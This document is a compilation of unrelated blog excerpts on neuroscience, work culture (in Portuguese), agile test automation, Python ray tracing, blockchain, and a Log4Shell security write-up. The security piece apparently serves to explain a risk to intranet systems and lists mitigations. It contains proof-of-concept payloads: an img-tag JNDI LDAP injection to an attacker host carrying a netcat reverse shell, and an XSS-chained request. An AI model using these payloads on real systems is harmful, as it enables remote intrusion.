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Brain, Memory, Health, Human Brain, Neuroscience. than just the environment size? If we activate a fear memory, but while an animal is with his rodent buddies in the cage, will that change how that fear memory manifests differently? In that sense, we hope it gives more of a roadmap on what these experiments can look like, and really build off the
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Brain, Memory, Health, Human Brain, Neuroscience. idea that we can activate memories and chart out what’s happening throughout the brain in three dimensions. We can use that to try to continue this scavenger hunt of finding targets in the brain for mitigating fear responses. In terms of broader implications, how could the findings of this study
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Brain, Memory, Health, Human Brain, Neuroscience. contribute to our understanding of the relationship between memory, brain function, and behavioral responses in various situations? The biggest take home is that the brain processes a lot of information before a memory is translated into action. I think that for me, one of the most important points
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Brain, Memory, Health, Human Brain, Neuroscience. is that a thought–and I’m using thought and memory here interchangeably–particularly one linked to a memory, will make us feel all sorts of things associated with that memory. Again, it could be a positive memory, it could be a negative memory, and everything in between, but it doesn’t have to
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Brain, Memory, Health, Human Brain, Neuroscience. appear the same way. I think it’s a really important point for people to understand, because it serves as a reminder that the process of turning thought into action varies across individuals and what they are experiencing in real time. Let’s say I was sitting in front of you right now. I could go
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Brain, Memory, Health, Human Brain, Neuroscience. through the most euphoric memories that I have and the dimmest darkest memories that I have — go through the whole spectrum of emotion from happiness, gleefulness and euphoria to somber, pensive, or sad, the works. But, I could go through all of that without ever really batting an eye, and you
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Brain, Memory, Health, Human Brain, Neuroscience. would never really know that those are the thoughts that I’m having unless I somehow volunteer that information. But, the other thing to consider would be maybe there’s subtle things happening underneath the hood here that we could pick up on. Maybe when I’m thinking about sad memories I slouch a
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Brain, Memory, Health, Human Brain, Neuroscience. little bit more, my pupils dilate, or I sweat a little bit more. When I recall positive memories, maybe I kind of chipper up a bit, my posture is better, my pupils dilate another way, and my heart rate goes up. There’s other not so obvious metrics for reading out a memory that I think can be used.
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Brain, Memory, Health, Human Brain, Neuroscience. Ultimately, I hope that this research at least inspires people to dive a bit more deeply into what’s really going on and learn how our memories are ultimately leading to an action. I want to understand the magic that’s happening, and I hope that the study helped unpack a little bit of that magic.
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. Twitter | Instagram Acredito que a grande maioria das pessoas tem uma relação problemática com o trabalho que faz. Seja por conta da alienação que ele provoca, onde achamos que nada faz sentido e por isso estamos o tempo inteiro insatisfeitos. Ou por não conseguirmos fazer mais nada que não seja em
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. prol do nosso trabalho. Colocando ele como o centro da nossa vida e esquecendo de todo o resto. A geração dos nossos pais, que já tem seus 50/60 anos, é um exemplo claro desse segundo tipo. Sendo pessoas que simplesmente não conseguem se ver sem trabalhar e que, ao colocá-lo no centro da própria
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. vida, perdem toda e qualquer outra característica de personalidade que poderia fazer com que fossem mais felizes. Chegando até mesmo a se deprimir caso não consigam ou não possam continuar trabalhando de alguma maneira. Porém eu infelizmente vejo que isso também é verdade para a minha geração.
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. Quantas vezes eu não estive em uma roda de conversa e, fatalmente, o assunto virou sobre o trabalho de cada um? Quantas vezes ao se apresentar para qualquer pessoa nós não começamos justamente pelo que fazemos profissionalmente? Acredito que, pelo menos, a minha geração tenha pelo menos uma noção
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. de que o trabalho não deveria ser o centro da nossa vida. Mas só isso não é o suficiente e muitas vezes o dia a dia acaba nos atropelando. Fazendo com que precisemos fazer dele o centro da vida, tanto por conta do poder de compra que foi esmagado nos últimos anos, quanto pelas expectativas que
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. estão cada vez maiores e são potencializadas pelas redes sociais. O vídeo da menina falando sobre não saber como as pessoas tem disposição de fazer qualquer outra coisa além de trabalhar e descansar, por conta do seu trabalho de 8 horas e mais 3 horas de deslocamento, me dá um pouco de esperança.
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. Esperança de ver que a próxima geração talvez entenda que isso não deveria ser normal. Esperança de que assim se formem pessoas que mudem a percepção majoritária de que é impossível falar de si mesmo sem citar o próprio trabalho. Porém infelizmente não sei se isso será possível no sistema que
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. vivemos. Estamos no famoso capitalismo tardio, onde tudo é parametrizado e que se você está ‘perdendo tempo’ sem ganhar dinheiro isso é, em si mesmo, um desperdício. Algo que eu mesmo já tive internalizado mas que felizmente consegui me livrar antes de chegar a um problema mais sério. Mas que não
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. parece que será algo que acontecerá tão cedo para a grande maioria das pessoas. Já que, para elas, a sobrevivência vem antes de pensarmos se é saudável para a nossa saúde o trabalho estar ou não no centro das nossas vidas. Gostou do texto? Leia também: Não tem como viver trabalhando no escritório
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Comportamento, Sociedade, Trabalho, Felicidade, Psicologia. Viralizou, na semana que escrevo esse texto, um vídeo de uma menina da geração Z falando sobre os absurdos de se…medium.com Não esqueça de deixar as palminhas e um comentário se você gostou do texto. Se você quer recebê-los em primeira mão siga a página e também lá no Instagram para ficar ainda
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Sprint, Automation, Agile. Agile methodologies have transformed the way software is developed, allowing teams to adapt to changing requirements and deliver valuable features faster. However, this agility also places new demands on testing, requiring quicker feedback, comprehensive coverage, and high-quality assurance.
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Sprint, Automation, Agile. In-Sprint Automation is the solution that bridges the gap between agile development and effective testing. **What is In-Sprint Automation?** In-Sprint Automation, also known as Agile Test Automation, is a practice in which automated testing is seamlessly integrated into the Agile development
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Sprint, Automation, Agile. process. Instead of treating automation as a separate phase that occurs after development, it’s an integral part of the sprint. The goal is to validate new functionality as it’s being developed, rather than waiting until the end of the project. **Key Benefits of In-Sprint Automation** **Rapid
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Sprint, Automation, Agile. Feedback Loop**: In-Sprint Automation provides immediate feedback to developers. This accelerates the identification and resolution of issues, reducing the cost and effort required for bug fixes. 2. **Continuous Testing**: Automation scripts run continuously, ensuring that new code doesn’t
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Sprint, Automation, Agile. introduce regressions. This continuous testing helps maintain software quality. 3. **Early Bug Detection**: Automation tests can uncover bugs early in the development process, making them easier and cheaper to fix. 4. **Higher Test Coverage**: With automation, you can achieve higher test coverage,
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Sprint, Automation, Agile. testing more scenarios and edge cases in a shorter time frame. 5. **Improved Collaboration**: In-Sprint Automation encourages collaboration between development and testing teams, promoting a shared responsibility for quality. **Implementing In-Sprint Automation** Here are the steps to implement
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Sprint, Automation, Agile. In-Sprint Automation effectively: **Identify Test Candidates**: Not all tests are suitable for in-sprint automation. Focus on high-priority and high-impact test cases. 2. **Select the Right Tools**: Choose automation tools that align with your technology stack and provide ease of use for both
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Sprint, Automation, Agile. developers and testers. 3. **Collaboration**: Developers and testers need to work closely. Developers should consider testability when writing code, while testers should design automation with development in mind. 4. **Continuous Integration (CI)**: Integrate automation into your CI/CD pipeline,
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Sprint, Automation, Agile. ensuring that tests are run automatically whenever new code is pushed. 5. **Monitor and Maintain**: Automation scripts need maintenance. Regularly review and update them to keep up with changes in the application. 6. **Feedback Loop**: Establish a feedback loop to capture and address issues found
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Sprint, Automation, Agile. during automation. **Challenges and Considerations** While In-Sprint Automation offers numerous benefits, it’s not without challenges: **Skillset**: Team members need to be proficient in automation tools and best practices. 2. **Time and Resource Investment**: Setting up In-Sprint Automation can be
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Sprint, Automation, Agile. time-consuming initially, but the long-term benefits outweigh the initial investment. 3. **Test Data Management**: Handling test data effectively is crucial for automation success. 4. **Test Environment Stability**: Ensure that your test environments are stable and consistent. **Conclusion**
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Sprint, Automation, Agile. In-Sprint Automation is a game-changer for Agile development. It empowers teams to build high-quality software at the speed of Agile without compromising on quality. By seamlessly integrating automation into the sprint, you can deliver value to your customers faster, reduce defects, and foster
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Sprint, Automation, Agile. collaboration between development and testing teams. To make the most of In-Sprint Automation, invest in the right tools, foster a culture of collaboration, and prioritize test coverage. As Agile methodologies continue to evolve, In-Sprint Automation will be a crucial component of delivering
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. A post from the folks at Blumira caught my attention as they state that web sockets are another attack vector for the infamous log4j vulnerability CVE-2021-44228 whereby it extends the attack surface to even internal systems. While their attack works as described, I was wondering if there’s more to
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. it than web sockets — and there is 😉 For details on the log4j exploit itself, please see Lunasec’s post. Blumira Web Sockets Attack Recap Simply put the attack makes use of the web socket scheme ws:// or the encrypted variant wss:// instead of http:// or https:// respectively. It doesn’t allow for
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. http headers though, so web sockets cannot be used for vulnerable log4j applications logging http headers. But when an application has a vulnerable http parameter web sockets can be used. Citing Blumira’s post: WebSockets are not restricted by same-origin policies like a normal cross-domain HTTP
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. request and they expect the server itself to validate the Origin of the request. While they are useful, they also introduce a fair amount of risk as they do not include many security controls to limit their utilization. Simplyfied Attack Vectors The citation above is a little misleading in this
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. case. Same-Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS) are security features built into modern browsers with the aim to restrict access to remote resources not explicitly allowed to be accessed. Most requests which provide added value from an attacker’s perspective require a
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. so-called CORS preflight request which is a preliminary http OPTIONS request prior to sending the final request. But certain requests are still allowed without a preflight one. Mozilla calls them simple requests. The bad thing about the Log4Shell attack is that it normally only requires a single
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. http GET or POST request. So SOP and CORS don’t help here as long as the requirements for a simple request are satisfied. This also restricts the attack so you won’t be able to set custom http headers as these would require a CORS preflight. And therefore the web socket attack vector is “just”
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. another way to send such a request, but it’s a nice one. This means it all comes down to send one malicious request to a vulnerable service — and this can be done in html in various ways, e.g.: Use html tags like <img src=…>, <embed src=…>, <iframe src=…>, … Use JavaScript’s XMLHttpRequest or Fetch
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. API but remember there’s no custom header allowed here When using simple html tags like <img src=…> you have to already know the final URL while when using JavaScript one can implement e.g. a wordlist-based URL scanner to find vulnerable services. These services may be internet-facing applications
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. but also within a corporate intranet which makes this vector more interesting for adversaries. PoC Setup Overview For the PoC’s below I used the following setup: Virtual machines based on kali linux An attacker box for providing the website, a malicious LDAP server and a netcat listener for reverse
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. shell payload A server running the vulnerable application Adjusted christophetd’s vulnerable app I simply added a request parameter vulnerable to Log4Shell (and XSS) to MainController.java and rebuilt the docker container: public class MainController { private static final Logger logger =
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. LogManager.getLogger("HelloWorld"); @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { logger.info("Received a request for API version " + apiVersion); return "Hello, world!"; } @GetMapping("/spoppi") public String getUser(@RequestParam(name = "username")
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. String username) { logger.info("Received a request for username " + username); return "Hello, " + username; // also XSS ;) } } Malicious LDAP server based on JNDIExploit Download JNDIExploit.v1.2.zip from the Wayback Machine as it’s no longer available on GitHub directly. It provides the required
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. malicious LDAP service. The attack workflow looks like this: Figure: Attack Workflow PoC using GET request via <img> tag As already stated above we’re only using a single http GET request via <img src=…>. This is the same request like the web socket one described by Blumira but using http or https
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. instead. Find below the simple web page for creating the GET request via the img tag. This html file is stored on the attacker’s web server, and the user needs to be tricked to open it e.g. using phishing, drive-by or similar means. <html> <body> <title>log4j test img</title> <h1>log4j test
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. img</h1> <img src="http://target:8080/spoppi?username=$%7bjndi:ldap://attacker:1389/Basic/Command/Base64 /L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d"> </script> </body> </html> When the user opens this web page the browser triggers the GET request without being stopped by any browser
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. security features. Here we fire a simple netcat-based reverse shell using the base64 encoded command: /usr/bin/nc attacker 1234 -e /bin/sh See this PoC in action below: Figure: PoC Screencast PoC using XMLHttpRequest chained with Cross Site Scripting to also attack via http header Since the
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. http://target:8080/spoppi?username=%3Cscript%3Evar%20xhr%20=%20new%20XMLHttpRequest();xhr.open(%22GET%22,%20%22http://target:8080/%22);xhr.setRequestHeader(%27X-Api-Version%27,%20%22$%7bjndi:ldap://attacker:1389/Basic/Command/Base64/L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d%22);xhr.se
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. This way we work around CORS protection because the injected script is coming directly from the attacked application from the browser’s perspective. Does this all pose significantly higher risks? To answer this question we have to consider two cases: Internet-facing applications For exposed
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. internet-facing vulnerable applications there’s no additional risk as these apps are already being directly attacked and probably compromised if not patched yet. The only thing that changes with the described scenario is that attackers can hide the initial attack behind normal users at the cost of
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. efficiency. There are easier ways to do the attacks on internet applications. Corporate intranet applications When it comes to applications run on a corporate intranet the picture changes. As these applications normally are not internet-facing they can’t be directly attacked. With the above
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. scenario there is a possibility that these internal apps may get compromised, especially as the priority is concentrated on patching internet-facing applications first. Of course there are some prerequisites for this indirect attack vector: An internal user can be lured to open the attacker’s web
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. page. The attack vector only requires the so-called simple requests to omit CORS preflight. Therefore http header based attacks can’t be executed this way. The application’s vulnerable URL including the hostname or ip address can be found via scanning or is already known. The vulnerable application
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. can access the attacker-controlled service to load the malicious Java class. So yes, there is a potentially higher risk for internal applications when all of the above prerequisites are met. Mitigations As can be read everywhere: Patch any application using Apache log4j 2.x to at least version
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Log4j Vulnerability, Log4shell, Exploit, Web Attack. 2.17.1 or remove the JndiLookup.class from the jar as a temporary fix. Make your proxy and firewall filter jndi links in and outbound including obfuscated formats. Optionally set up alerts to get a better visibility when your company and users are being attacked. Check your AV vendor’s ability to
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. Making Ray Tracing 8x Faster on a Laptop Computer graphics have improved rapidly over the past few decades, leading to increasingly realistic video games and movies. Ray tracing, which renders 3D scene descriptions into 2D images is one of the most powerful techniques. While ray tracing generates
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. the most detailed and realistic images, it consumes substantially more compute than comparable methods like global illuminance. We will explore how Ray, a distributed execution framework for Python applications, makes it easy to add parallel computation to a simple ray tracing application, reducing
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. its execution time by 8x on my 8-core laptop. State-of-the-art ray-tracing implementations use GPU-based tracing algorithms, whereas this blog post takes a CPU-based approach. However, it illustrates a technique that could be applied as easily to a cluster of GPUs as to my laptop. And… there will
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. be a lot of the word “ray” in this post, so I use capital-R “Ray” to mean the distributed systems framework and lowercase “ray tracing” to indicate the graphics technique. Background Before diving into implementation, let’s take a look at the two kinds of ray for readers who may not be familiar.
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. Ray tracing is a computer graphics technique to generate 2D images from 3D environments by imitating the way that a camera captures photographs. However, while a physical camera takes in light to capture an image of its surroundings, a ray tracer operates the process in reverse. It sends rays of
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. “light” out from its “camera,” through a 2D plane whose coordinates correspond to pixels in an image. These rays then may intersect with and reflect off of objects in the scene. Then, the color of the pixel is determined by the angle of the reflection compared to the light source, in addition to
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. properties and shape of the occluding material. When a ray reflects from an object and travels directly towards a light source, the pixel corresponding to that ray will be more affected by that light’s properties, such as its luminosity (intensity of light) and color. You can imagine reversing the
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. trajectory of the ray that you have traced, following a ray from the light source, reflecting from an object, and terminating at the camera. Tracing feasible paths from the camera to light sources is more performant than tracing light rays from each light source to the camera, as most light rays
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. are not captured by the camera. A visualization of the Ray tracing algorithm. Because these ray computations are independent of one another, a program can freely trace rays in parallel. Ray is a Python framework developed by the RISELab at UC Berkeley that will allow us to accomplish that with
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. minimal changes to our program. Python has a global interpreter lock that prevents thread-level parallelism. Thus, to run code in parallel you need to run multiple processes, each of which has its own memory space. But why use Ray over the built-in multiprocessing module? I want to share a few ways
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. in which Ray makes our life much easier. With multiprocessing, the programmer must: Figure out how to pass messages between processes (e.g. GRPC, message queues, etc.) Copy data between processes or figure out a shared memory scheme Deal with failures of processes gracefully Ray lets you not worry
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. about any of this. When using Ray, message passing occurs through Python function calls and method invocations, so you can program your application as though everything is running in one thread on one computer. Ray’s use of Apache Arrow enables data sharing between processes to save on copying
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. costs without any thought from the user. Tasks (functions) and actors (classes) restart automatically if they fail. Our Sample Implementation The ray-tracer implementation that we are looking at is found here. Credits go to Cyrille Rossant. It is small, yet reasonably performant through its use of
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. numpy. [1] It incorporates recursive ray “bounces” to produce more accurate lighting and reflectivity. The original code calls trace_ray in a loop over all pixels on the screen, sending one ray through each pixel and recursively tracing its bounces to calculate a color value. Ultimately, to achieve
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. the greatest possible speed-up with Ray for my 8-core laptop, we want to break this loop up into 8 chunks, letting one worker/core handle each chunk. Changes to Utilize Ray In Ray, the user must define the distributed parts of their program as either Python functions (tasks) or classes (actors).
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. Given that we want to perform the recursive ray-tracing in Ray, I extract this logic to its own function. By decorating this function with ray.remote, I enable it to run as a task in a distributed context. In addition, the previous iteration of the function calculates the result, then immediately
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. sets the color intensity of the pixel in an image data structure. Now that we are kicking off many jobs in parallel, we need to change each call to return its result instead of writing to the pixel results list immediately. [2] The required changes are: Trigger the jobs and collect the results,
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. along with their corresponding coordinates. These results are not the actual return values of the traced rays. Rather, they refer to the location where the return value will be stored, and are used like Python futures. [3] Await the results, zip them to the coordinates, and set the image pixels in
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. a loop. Results To help illustrate what the speed-up means, I’ve attached two images that took roughly 30 seconds each to render, with only the latter using Ray. Generated from original raytracing script Generated using Ray Benchmarks In benchmarking this program on my 8-core laptop, I found that
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. for large inputs, Ray yielded approximately the 8x speed-up I expected. For each version of the script, I ran 5 trials for each image size: 600x450, 1200x900, and 1600x1200. In each trial, I captured the user value from the Unix time command to reduce noise in the data due to changes in other
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. processes’ usage on the machine. Though I didn’t include the results here, the sys usage time is slightly higher for the Ray version due to the system calls required to distribute the work, though the difference is marginal. Overall, we get closer to achieving a full 8x speed-up on larger inputs
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. where the work of tracing rays begins to eclipse work in other parts of the program. Other Improvements Made Easy by Ray Anti-Aliasing Anti-aliasing is a technique to prevent artifacts, image distortions that are a result of algorithmic imperfections. It does this by sending multiple
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. slightly-offset rays into the scene per pixel, and averages the results to determine the color value of the pixel. In doing so, it removes imperfections caused by the limited sampling that ray tracing performs. Ray makes it easy to implement anti-aliasing in parallel as a wrapper around the core
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. trace_rays_with_bounces function. Easy Sharing of Changing State While the independent nature of tracing individual rays highlights the simplicity of using Ray tasks, there are times when you want to share information between the ray computations. For instance, you may want to give each computation
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. access to a bounding box hierarchy. This is a data structure that makes ray tracing much faster by reducing unnecessary collision checks with objects. It does so by breaking the 2D space into partitioned segments that only contain some subset of the scene’s objects and can result in massive
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. speed-ups. In the case of real-time ray tracing, the bounding box hierarchy changes over time with the scene, and workers need a way to fetch an up-to-date copy; a Ray actor suits this use case. Ray Tracing on a Cluster Using the Ray cluster launcher, you can run your program on the cloud (with
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. spot instance support because of Ray’s fault-tolerance). This means that if you run out of algorithmic optimizations, you can go faster by throwing more compute at the problem! Wrapping Up I wrote this blog post because I think Ray can do for distributed systems what cornerstone libraries like
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. Tensorflow and React have done for machine learning and interface-building respectively. Distributed computing grows in importance every year as Moore’s Law proves insufficient to meet growing computational needs (read more in Ion Stoica’s article “The Future of Computing is Distributed”). Ray’s
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. goal is to democratize distributed computing and bring it beyond the purview of specialists. The Ray project already includes several “batteries-included” distributed libraries for reinforcement learning, HTTP serving, data munging in pandas, and more. Check it out! Here is a repo with all the code
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. used in this blogpost, including the reference implementation, the ray implementation, and the scripts I used for benchmarking and graphing. Finally, if you enjoyed this, you attend Ray Summit for more interesting content! [1]: Incidentally, Ray supports zero-copy sharing of numpy ndarrays among
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. workers, which can save a tremendous amount of memory. [2]: You could also create a Ray actor (a Python class) to represent the image, then pass that actor into the trace_ray_with_bounces function. [3]: A reasonable question here is: “What’s the deal with CHUNK_SIZE? Why didn’t you make a single
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. task correspond to the tracing of a single ray?” Well, when the task becomes too small, we see performance decrease because the overhead of communication overwhelms the benefits of parallelism. Just as an example, an image the size I generated, 1600 by 1200 pixels, would require launching more than
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Ray Tracing, Distributed Systems, Python, Graphics, Programming. a million sub-tasks. Even a small amount of overhead per task adds up quickly with so many and such small tasks. The ideal size of chunk of rays to trace is 1/8 the total number of pixels, which results in 8 tasks distributed across 8 cores.
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. Blockchain 4.0 represents a significant evolution in the realm of decentralized technologies, particularly impacting Web 3.0. This new generation of blockchain technology introduces several key changes that promise to reshape the digital landscape. One of the most notable advancements is improved
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. scalability, addressing the limitations of earlier blockchains like Bitcoin and Ethereum. Blockchain 4.0 achieves this through innovative consensus mechanisms and network architectures, enabling higher transaction throughput and lower latency. Additionally, interoperability is greatly enhanced,
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. facilitating seamless communication and asset transfer between different blockchain networks. This interoperability opens up new possibilities for decentralized applications (dApps) and smart contracts, fostering a more connected and efficient ecosystem. Another crucial aspect of Blockchain 4.0 is
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. its focus on sustainability, implementing eco-friendly consensus mechanisms and energy-efficient protocols to reduce environmental impact. Overall, Blockchain 4.0 heralds a new era of innovation and accessibility in Web 3.0, promising a more scalable, interoperable, and sustainable decentralized
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. future. Understanding Blockchain 4.0 Blockchain 4.0 represents the next phase in the evolution of blockchain technology, building upon the foundations laid by earlier iterations. This new generation of blockchain is characterized by several key features that differentiate it from its predecessors.
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. One of the primary advancements is improved scalability, achieved through innovative consensus mechanisms and network designs. Blockchain 4.0 also emphasizes interoperability, enabling different blockchain networks to communicate and transact seamlessly. Additionally, sustainability is a key focus,
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. with Blockchain 4.0 implementing eco-friendly practices to reduce energy consumption and environmental impact. Overall, Blockchain 4.0 promises to revolutionize various industries by offering a more scalable, interoperable, and sustainable blockchain solution. Understanding Blockchain 3.0
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. Blockchain 3.0 represents a significant advancement in blockchain technology, building upon the foundations of earlier iterations to offer enhanced capabilities. One of the key features of Blockchain 3.0 is improved scalability, allowing for more transactions to be processed per second compared to
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. earlier versions. This scalability is often achieved through the use of sharding, sidechains, or other techniques to increase network capacity. Interoperability is another important aspect of Blockchain 3.0, enabling different blockchain networks to communicate and share data seamlessly.
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Blockchain, Blockchain Technology, Blockchain Development, Web3, Web3 Development. Additionally, Blockchain 3.0 often incorporates advanced smart contract capabilities, enabling more complex and sophisticated decentralized applications (dApps) to be built on the blockchain. Overall, Blockchain 3.0 represents a significant step forward in blockchain technology, offering improved
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